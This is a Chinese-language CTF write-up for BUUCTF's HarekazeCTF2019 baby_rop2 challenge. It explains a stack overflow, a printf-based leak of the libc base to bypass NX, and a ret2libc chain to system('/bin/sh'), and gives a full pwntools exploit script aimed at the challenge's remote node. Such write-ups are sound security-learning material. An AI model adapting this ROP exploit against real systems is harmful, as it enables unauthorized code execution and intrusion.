BUUCTF | [HarekazeCTF2019]baby_rop2
1.checksec

开启了NX保护
2.IDA
buf大小0x20,可读0x100,存在栈溢出

没有现成的system(‘/bin/sh’),有NX保护,所以要泄露libc基址
进而得到system和binsh地址

3.64位程序寄存器传参,有两个参数要设置,找rdi和rsi寄存器的位置

4.构造payload

设置的第一个参数为程序自带的%s格式化字符串
mid_addr=0x400770
1.payload1=b'a'*(0x20+8)+p64(pop_rdi)+p64(mid_addr)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_address)
先填充0x28个字节到ret,写入rdi的地址,传参,在rdi存入字符串地址,然后在rsi传入read函数的got表地址,随便设值pop_r15的值,这里设0
接着call printf,输出read函数的地址,即在plt表上的位置,最后call main函数,重新执行,放第二个payload得到shell
2.payload2 = b'a'*(0x20+8)+p64(pop_rdi)+p64(binsh)+p64(system)
填充到ret,rdi,存入参数binsh的地址,ret到sys,参数在rdi找,为binsh,拿到shell
else:
1.本题给出libc库版本,为libc.so.6,下载到虚拟机即可

2.接收输出的read函数地址
read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
不知道为什么这么写
3.拿flag


完整exp:
点击查看代码
from pwn import *
from LibcSearcher import *
#p = process('./babyrop2')
p = remote("node5.buuoj.cn", 26947)
elf = ELF('./babyrop2')
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_address = 0x400636
mid_addr = 0x400770
payload1=b'a'*(0x20+8)+p64(pop_rdi)+p64(mid_addr)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_address)
p.sendlineafter("name? ", payload1)
read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('./libc.so.6')
offset = read_address - libc.symbols['read']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']
payload2=b'a'*(0x20+8)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload2)
p.interactive()
浙公网安备 33010602011771号